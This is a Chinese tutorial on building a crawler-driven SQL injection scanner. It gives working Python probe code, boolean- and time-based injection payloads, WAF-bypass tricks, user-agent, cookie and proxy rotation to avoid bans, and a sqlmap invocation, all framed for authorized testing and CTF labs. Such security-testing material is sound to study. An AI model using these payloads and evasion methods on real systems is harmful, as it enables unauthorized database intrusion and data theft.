简介:面向Web安全测试与开发人员的自动化SQL注入检测工具包,以爬虫技术遍历站点入口、构造注入payload并分析异常响应,帮助定位输入验证缺失导致的数据库风险。资源共625个文件,压缩包约7.09MB:465个Python脚本构成核心检测逻辑,另有sqlmap配置、SQL命令、Shell辅助脚本、常见Web后门样本及跨平台可执行文件,便于在本地搭建授权实验环境,对照文档理解不同数据库场景下的注入特征。已有1099人学习下载。工具包完整覆盖漏洞探测、数据库枚举、数据提取等环节,包含payload设计与异常检测思路,可直接用于内网靶机或CTF题目实战,也可作为安全课程中理解SQL注入攻击链的实操素材。结合目录结构可快速定位关键脚本,适合已掌握基础Web安全概念的读者进一步研究。
1. 基于爬虫的SQL注入漏洞检测工具:为什么我不建议你只盯表单
把爬虫和SQL注入检测拼在一起,很多人第一反应是写个脚本把网页里的
这篇文章按我实战里的做法拆开讲:先确立爬虫和注入检测的配合方式,再给出一套能跑的最小实现,然后聊参数配置、绕过技巧,最后把最容易翻车的五个坑列出来。目标是让新手照着一周内能搭出第一版,熟手看完能补上自己工具里缺失的「动态参数采集」和「语义化注入验证」两块拼图。
2. 模块拆解:爬虫负责找路,注入引擎负责验证
一个能用的检测工具,绝不是把爬虫和注入payload硬缝在一起。我习惯把它拆成四个模块:目标管理、爬虫采集、注入测试引擎、报告输出。每个模块之间用数据格式解耦——爬虫只需要产出「请求模板」,注入引擎拿到模板后自己决定往哪里注入、用什么payload、怎么判断漏洞。
2.1 爬虫采集范围:不止URL,还要参数上下文
很多初版工具只爬链接,拿到URL列表后直接跑注入。这在静态站上勉强够用,但现代Web应用大量使用Ajax和POST请求,URL列表顶多覆盖三成攻击面。我的做法是让爬虫产出三类数据:
- 静态GET请求:
<a href>、<form method="GET">、页面里的重定向和iframe。 - 动态请求:XHR/fetch接口,尤其是带参数的POST请求,参数往往在JS变量或接口文档里。
- 请求模板:每个请求记录method、URL、headers、cookies、body模板、参数名列表、参数值样例。
参数上下文比URL本身更重要。同样是search.php,一个爬虫只知道它的URL,无法判断keyword参数是数字型还是字符型、是否被WAF过滤。所以我在爬虫解析阶段会额外做两件事:从HTML中读取input标签的type和name属性,从JS中正则匹配接口URL和参数名。
2.2 请求模板的数据结构:JSON比原生字典更好扩展
我推荐用JSON作为爬虫和注入引擎之间的中间格式,而不是直接用Python字典传内存。原因很实际:爬虫跑完一批目标后要被杀掉释放内存,注入引擎可能分布在另一台机器上,落盘成JSON可以随时续跑,也方便人工审计爬虫有没有漏抓。
{ "url": "https://example.com/search.php", "method": "POST", "headers": { "User-Agent": "Mozilla/5.0", "X-Requested-With": "XMLHttpRequest" }, "cookies": { "sessionid": "abc123", "user_role": "guest" }, "params": [ {"name": "keyword", "value": "test", "type": "text"}, {"name": "page", "value": "1", "type": "hidden"} ], "body_template": "keyword={keyword}&page={page}", "source_url": "https://example.com/search" }参数说明:
params数组是注入引擎最关心的字段,type决定注入策略——text类型优先尝试字符型注入,hidden类型往往传数字ID,优先尝试数字型。body_template保留原始请求体的格式,注入引擎替换参数值时不会破坏其他参数的编码方式。source_url用来追溯注入点是从哪个页面发现的,排错时作用很大。
2.3 爬虫去重与调度:基于「页面指纹」而不是URL
URL去重在检测工具里不够用。同一个URL带上不同参数就是不同的动态请求,而?id=1&page=2和?id=1&page=3对注入测试来说是同一个模板。我用的方案是对URL做归一化:
from urllib.parse import urlparse, parse_qs, urlencode def normalize_url(raw_url): parsed = urlparse(raw_url) params = parse_qs(parsed.query) # 按参数名排序,去掉具体值,只保留参数名列表 sorted_keys = sorted(params.keys()) param_pattern = ";".join(sorted_keys) return f"{parsed.scheme}://{parsed.netloc}{parsed.path}?{param_pattern}"这个归一化函数把?id=1&page=2和?id=3&page=8归为同一个指纹。爬虫拿到新URL后先算指纹,指纹已存在于待测队列就跳过,这样能大幅减少注入引擎的无效请求量。缺点是如果参数值本身就影响业务逻辑(比如订单号),归一化后会丢失真实的参数样例,所以我在指纹匹配时只用于去重,请求模板里保留原始参数值。
3. 注入检测策略:基于布尔差异与时间盲注的验证闭环
爬虫把请求模板送到注入引擎后,最忌讳的是看到一个引号报错就报漏洞。真实站点上引号报错的原因太多了——编码问题、参数类型不匹配、程序自己逻辑崩溃,全算进去能制造一堆假阳性。我的验证思路是:先探测,再确认,最后利用。
3.1 探测阶段:三发请求定基础行为
对每个参数,我先发三发请求建立基线:
- 正常请求:用请求模板里的原始参数值,记录响应状态码、页面内容长度、特定关键词。
- 非法输入:参数值替换成
test',观察是否报错、响应长度是否有明显变化。 - 注释符测试:替换成
test'-- -,对比是否被当作合法输入。
这三发请求全部完成,我才能判断参数是否真的参与了SQL语句拼接。如果第二发和第一发响应完全一致,说明参数可能根本没进入SQL查询(比如只是在JS里做了展示),可以直接跳过这个点。如果第二发报错但第三发恢复正常,基本可以确定存在字符型注入,进入确认阶段。
3.2 确认阶段:布尔逻辑差与响应指纹
布尔盲注是抓真实漏洞最稳的手段。我用两个对比请求确认注入是否成立:
false_payload = f"'{param_original}' AND 1=2-- -" true_payload = f"'{param_original}' AND 1=1-- -"逻辑上,如果AND 1=2的响应长度明显小于AND 1=1,说明参数被拼进了 WHERE 子句,且数据库执行了我们的逻辑。判断响应差异时不要只看状态码,我一般用三个维度:状态码、HTML内容长度、页面内指定关键词是否存在。
def is_boolean_confirmed(resp_false, resp_true, baseline): if resp_false.status_code not in (200, 302) or resp_true.status_code not in (200, 302): return False false_len = len(resp_false.text) true_len = len(resp_true.text) # 长度差超过基线长度的5%才认为是有效差异 threshold = max(30, len(baseline.text) * 0.05) return abs(false_len - true_len) > threshold这段代码里的threshold很关键。有些页面不管SQL怎么变都返回同样的框架,只是数据区的行数变化,长度差可能只有几十字节;而有些页面因为动态广告位的影响,即使正常刷新也有几百字节的抖动。5%的阈值是我在电商类站点上总结出来的经验值,纯静态站可以降到2%,社区论坛类站点建议提到10%,否则大量评论区动态内容会产生假阳性。
3.3 时间盲注:当页面不反馈任何差异时的最后手段
如果布尔差异不成立,但爬虫明确发现该参数与数据库查询相关(比如URL里的ID、分类号),我会尝试时间盲注。实现时核心是每次探测只发一至两发时间请求,避免大量sleep请求打挂目标数据库。
import time import requests def time_based_probe(url, params, param_name, delay=3): probes = [ f"{params[param_name]}' AND SLEEP({delay})-- -", f"{params[param_name]}' AND IF(1=1, SLEEP({delay}), 0)-- -" ] for probe in probes: test_params = dict(params) test_params[param_name] = probe try: start = time.time() requests.post(url, data=test_params, timeout=delay + 5) elapsed = time.time() - start if elapsed >= delay - 0.3: return True except requests.Timeout: return True return False注意代码里的IF(1=1, SLEEP(3), 0)这种写法,它把条件恒真和sleep绑在一起,避免出现「参数用了但条件不成立导致不sleep」的误判。生产环境中建议把delay设为3~5秒,太低容易受网络抖动干扰,太高会让检测队列阻塞严重。
3.4 payload库与编码策略:绕过WAF的单层编码技巧
payload库不要从GitHub上整包拉下来就完事,我一般只保留四个方向:联合查询、布尔盲注、时间盲注、报错注入。每个方向准备三到五种变体,重点在于用注释符和编码组合绕过简单的关键词过滤。
最常见的绕过场景是WAF拦截了union select或information_schema。我常用的第一招是内联注释:/*!50000union*/ /*!50000select*/,MySQL5.0以上版本会解析这种注释内容。第二招是等价函数替换:version()可以换成@@version,database()可以换成schema(),很多规则库对后者的覆盖不够。第三招是双写:selselectect,只对简单的正则匹配有效,碰上语义分析的WAF基本没用。
我自己的流程是先发一个无害的联合查询,命中WAF拦截后再逐级降级到编码绕过,而不是一开始就上全部payload打一发就跑。这样既能减少目标站日志里的攻击噪音,也能在每个payload上保留充分的响应上下文用来判断。
4. 最小可跑工具实现:从爬虫到报告的完整管道
前面把模块和策略讲清了,这一章直接给一套我平时搭工具的骨架代码。它不追求功能全,但胜在结构干净,方便你在上面加功能。整个工具用Python3 + requests + BeautifulSoup实现,不需要框架,一个晚上能跑通。
4.1 主控脚本:任务队列与模块联动
import json import time import requests from bs4 import BeautifulSoup class Crawler: def __init__(self, start_url, max_depth=2): self.start_url = start_url self.max_depth = max_depth self.session = requests.Session() self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept-Language": "zh-CN,zh;q=0.9" }) self.task_queue = [] self.visited_fingerprints = set() self.request_templates = [] def extract_forms_and_links(self, url): resp = self.session.get(url, timeout=10) resp.encoding = resp.apparent_encoding soup = BeautifulSoup(resp.text, "html.parser") templates = [] for form in soup.find_all("form"): method = form.get("method", "get").lower() action = form.get("action", url) inputs = [] for inp in form.find_all("input"): inputs.append({ "name": inp.get("name"), "value": inp.get("value", ""), "type": inp.get("type", "text") }) templates.append({ "url": action if action.startswith("http") else f"{url[:url.rindex('/')]}/{action.lstrip('/')}", "method": method, "params": inputs, "source_url": url }) for a in soup.find_all("a", href=True): self.task_queue.append(a["href"] if a["href"].startswith("http") else f"{url[:url.rindex('/')]}/{a['href'].lstrip('/')}") return templates这段代码做了三件关键事:建立统一的Session保证Cookie和SessionID在爬取过程中连续;从<form>提取输入字段;把页面上所有链接加入待爬队列。值得注意的地方是resp.encoding = resp.apparent_encoding,不设这一步的话中文页面会乱码,正则提取参数名时容易把UTF-8编码的健值对拆得乱七八糟。
下一步是深度限制和指纹去重:
def run(self): self.task_queue.append(self.start_url) depth = 0 while self.task_queue and depth < self.max_depth: current_url = self.task_queue.pop(0) fingerprint = normalize_url(current_url) if fingerprint in self.visited_fingerprints: continue self.visited_fingerprints.add(fingerprint) try: templates = self.extract_forms_and_links(current_url) self.request_templates.extend(templates) except requests.RequestException as e: print(f"[!] 爬取失败: {current_url} -> {e}") depth += 1 with open("templates.json", "w", encoding="utf-8") as f: json.dump(self.request_templates, f, ensure_ascii=False, indent=2)爬取深度max_depth=2意味着只爬目标站点的一级页面和二级导航页,对大多数中小站点来说已经能覆盖首页、列表页和详情页三类核心攻击面。深度每加一层,请求量大致翻三到五倍,不是特殊情况不建议超过3层,否则爬虫自己就先被限流封IP了。
4.2 注入测试器:读取模板并执行验证
import json import requests import time class Injector: def __init__(self, templates_path, delay=0.5): with open(templates_path, "r", encoding="utf-8") as f: self.templates = json.load(f) self.delay = delay self.session = requests.Session() self.results = [] def test_param(self, template, param): payloads = { "normal": param["value"], "false": f"{param['value']}' AND 1=2-- -", "true": f"{param['value']}' AND 1=1-- -" } responses = {} for label, value in payloads.items(): test_params = {p["name"]: p["value"] for p in template["params"]} test_params[param["name"]] = value if template["method"] == "post": resp = self.session.post(template["url"], data=test_params, timeout=10) else: resp = self.session.get(template["url"], params=test_params, timeout=10) responses[label] = resp time.sleep(self.delay) return is_boolean_confirmed(responses["false"], responses["true"], responses["normal"])这里把请求发出去的逻辑收敛成一个函数,将来加cookie处理或代理只是改一小段。测试参数时保留所有原始参数值,只替换当前目标参数,保证目标点的业务上下文不被破坏。
def run(self): for template in self.templates: for param in template["params"]: if param["type"] == "submit": continue try: if self.test_param(template, param): self.results.append({ "url": template["url"], "param": param["name"], "method": template["method"], "source": template["source_url"] }) except requests.RequestException as e: print(f"[!] 请求异常: {template['url']} param={param['name']} -> {e}") with open("results.json", "w", encoding="utf-8") as f: json.dump(self.results, f, ensure_ascii=False, indent=2) print(f"[+] 检测完成,发现 {len(self.results)} 个疑似注入点")注意循环里跳过了submit类型的按钮参数,这类参数在爬虫提取时值往往是空字符串,发请求时拿空值做布尔运算会产生大量误报。真实业务里按钮值有时候也会进SQL,但概率极低,宁可漏掉也不要制造噪音。
4.3 目录爬虫与接口发现:别漏掉JS文件里的API端点
很多注入点不在页面HTML里,而在JS文件中。常见的漏洞点在分页接口、搜索联想接口、排序接口。我在爬虫里加一段简单的JS提取逻辑:
import re def extract_api_endpoints(js_content, page_url): endpoints = set() # 匹配形如 /api/user/list 或 /api/search?keyword= 的路径 api_pattern = r'["\'](/[a-zA-Z0-9_\-/]+\.(?:php|jsp|aspx|do|action|json))["\']' endpoints.update(re.findall(api_pattern, js_content)) # 匹配 fetch('/api/user', {...}) 这类写法 fetch_pattern = r'fetch\(["\'](/[a-zA-Z0-9_\-/]+)["\']' endpoints.update(re.findall(fetch_pattern, js_content)) return [e if e.startswith("http") else f"{page_url[:page_url.rindex('/')]}{e}" for e in endpoints]这段正则覆盖了最常见的两种JS接口拼写方式。爬虫在解析完HTML后,把页面里所有<script src>抓下来逐个跑一遍extract_api_endpoints,拿到的新URLUniform加到待爬队列。接口类页面通常没有form表单,但参数藏在URL query里,注入引擎直接对query参数跑布尔探测就行。
5. 参数与绕过配置:真实站点上值得抄的四组设置
工具写完之后,关键就到了配置层。我见过很多人拿着同一个payload库打不一样的站,效果全靠运气。合理的方式是根据目标特征做三档参数配置。
5.1 请求速率与并发:别把目标站打死,也别慢到自己受不了
个人审计场景下,我推荐单线程加0.5秒延迟,一秒两发请求是大多数业务站完全无感的水平。要是测试授权站点或者靶场,可以开到5并发加0.2秒延迟。再激进就不建议了,不是技术做不到,是到时候被封IP溯源回来授权范围说不清楚。
| 场景 | 并发 | 延迟 | 单点测试次数 |
|---|---|---|---|
| 个人小站/博客 | 1 | 1.0s | 5-8 |
| 授权业务站点 | 2-3 | 0.5s | 8-12 |
| 靶场/DVWA等 | 10 | 0.1s | 20+ |
5.2 User-Agent与Cookie池:绕过基础频率限制
目标站对同一个UA和Cookie组合的请求频率做统计是常态。我准备了五个常见的UA轮换,每次新请求换一个。Cookie方面用一个基础会话Cookie保持登录态,另外定期清理重来。不要把登录态和探测payload发到同一个请求里,万一触发WAF把账号封了就亏大了。
5.3 自定义字典注入:参数名和值根据业务场景调整
爬虫提取到的参数值往往是表单里的placeholder或者当前业务的合法值。注入时要生成边界值,我一般用如下策略:
- 数字型参数(type=hidden或者name含id/page/num):测试值从
1变成1 AND 1=1和1 AND 1=2。 - 字符型参数(搜索框/keyword/name):测试值从正常词变成
test' AND '1'='1和test' AND '1'='2。 - JSON接口参数:重点测
"id":1改成"id":1 AND SLEEP(3)是否被当作字符串处理。
5.4 时间盲注的延迟选择:3秒是甜点位
时间盲注的sleep时长选3秒以内容易被网络抖动误判,选10秒以上效率太低,目标站DBA看到慢查询日志也会警觉。3秒是我常用的默认值,碰到高延迟跨地域目标会加到5秒。判断时用两次探测取最大值或者平均值,比单次结果可靠。
def time_probe_with_retry(url, params, param_name, delay=3, retries=2): durations = [] for _ in range(retries): start = time.time() try: requests.post(url, data=params, timeout=delay + 5) except requests.Timeout: pass durations.append(time.time() - start) return max(durations) >= delay这段代码用两次探测的最大值做判定,能过滤掉单次网络波动造成的假阳性。恶意代码不检测目标是否正常响应,凡是超时统一记为疑似注入成功,等布尔验证再做二次确认。
注意:时间盲注是噪音最大的检测手段,除非布尔差异完全不可用,否则不要优先启用。每发一次sleep请求都会在目标数据库留下痕迹,授权测试也建议把delay调到5秒且限制总次数。
6. 避坑指南:从爬到测的六个常见翻车点
工具的每一层都有隐藏的坑,这一章把我这些年踩过的记录按现象、原因、解决串起来,你照着排错能少走很多弯路。
6.1 现象:爬虫抓到的URL一半是404
原因:站点用了相对路径,<a href="/user/list">在拼接时被拼到了错误域名下;或者是SPA应用里前端路由是虚拟的,后端根本没有对应URL。
解决:拼接绝对URL时统一用urljoin,不要手工字符串拼。SPA路由要额外让爬虫从构建文件里的路由表中提取真实后端地址,或者用浏览器渲染模式补全Ajax接口。
6.2 现象:布尔差异测试全是疑似注入但人工复核全是误报
原因:目标页面里有动态内容,比如推荐位、轮播图、广告,每次请求返回的HTML长度都不同,阈值设低了。
解决:提高阈值或者改用「固定关键词」判断。例如首页头部有「欢迎回来,用户名」这种固定串,注入成功和失败时这个串不会变化,拿它做布尔标志比长度可靠得多。另外可以在正常模式下连发三次请求,把长度差异的平均值作为基线阈值。
6.3 现象:注入payload在浏览器里能打但工具报告无漏洞
原因:工具没带浏览器执行JS后的Cookie或Token,目标站有CSRF防护,所有POST请求都被拒了。
解决:爬虫阶段用Selenium或Playwright跑一次关键流程,把token和session抓下来注入到请求模板的headers里。不要每个请求都跑无头浏览器,只拿token即可,太重了。
6.4 现象:时间盲注发了几百个sleep请求但什么都不报
原因:目标站点的数据库不是MySQL,SLEEP(3)在SQL Server或Oracle上根本不执行,报错也没有。
解决:payload库先发一个探测数据库类型的请求,用@@version或dbms_random.value区分数据库类型,再选择对应的时间函数。SQL Server用WAITFOR DELAY '0:0:3',Oracle用DBMS_LOCK.SLEEP(3),PostgreSQL用pg_sleep(3)。
6.5 现象:爬虫跑到一半被封IP,任务全断
原因:没有做限速,或者请求的频率超过目标服务器的反爬阈值。很多站在前几十个请求不设限,连续发起几百个后才触发封禁。
解决:在爬虫和注入模块之间加一个令牌桶限速器,每个请求前检查令牌是否充足。另外准备三到五个代理IP轮换,一旦检测到频繁403就切换。注意代理切完Cookie必须换新的,否则一样被识别。
6.6 现象:爬虫提取的表单里没有参数,但页面实际是Ajax提交的
原因:爬虫只解析了HTML静态代码,没有等到JS渲染。现代站点大量用Vue/React,表单在浏览器里动态生成,爬虫看到的是空壳。
解决:检测到页面里含有_app.js、webpack这类特征时,改用无头浏览器先渲染再采集,或者直接从接口文档入口手动导入请求模板。后一种方式在授权测试中往往更高效,毕竟很多接口文档就在Swagger页面上。
7. 最后一步:用报告做验证而不是用payload数量自嗨
工具跑完拿到疑似注入点列表,离真正上线还差两步:验证和利用。我习惯在报告里为每个注入点附上完整的请求链接、payload、响应片段,人工复核时直接打开链接手工重放一遍。
推荐一套轻量验证流程:先从报告里随机抽三个疑似点,手工用Burp Suite重放布尔盲注的payload;任一个命中,说明工具整体逻辑成立,可以信任本批报告。如果抽的三个全都不命中,优先怀疑阈值或请求链配置有问题,先调试工具再大规模测试。
对于确认存在的注入,我一般用sqlmap做二次验证,但不会直接把sqlmap挂到整个报告上跑,那样动静太大。更稳妥的方式是从报告里提取精确的参数位置,给sqlmap传单个URL和参数:
python sqlmap.py -u "https://example.com/item.php?id=1" --batch --level=3 --risk=2 --dbms=mysql参数说明:--level=3开启Cookie和Referer头部的注入测试,--risk=2开启基于时间的heavy query查询,--dbms=mysql限定数据库类型可以大幅减少payload数量。这样每轮只打一个注入点,既不会对目标产生风暴级请求,也方便观察WAF的拦截日志。
我自己的习惯是,工具报告里的所有疑似点必须在当天完成人工复核,隔夜再验证容易因为会话过期、数据变化产生新的误判。不管工具跑出来多少个疑似点,最终交付给业务方的必须是人工复核过的精准结果。希望帮到你,愿你的爬虫少被封几次,注入点少踩几个假阳性。
本文还有配套的精品资源,点击获取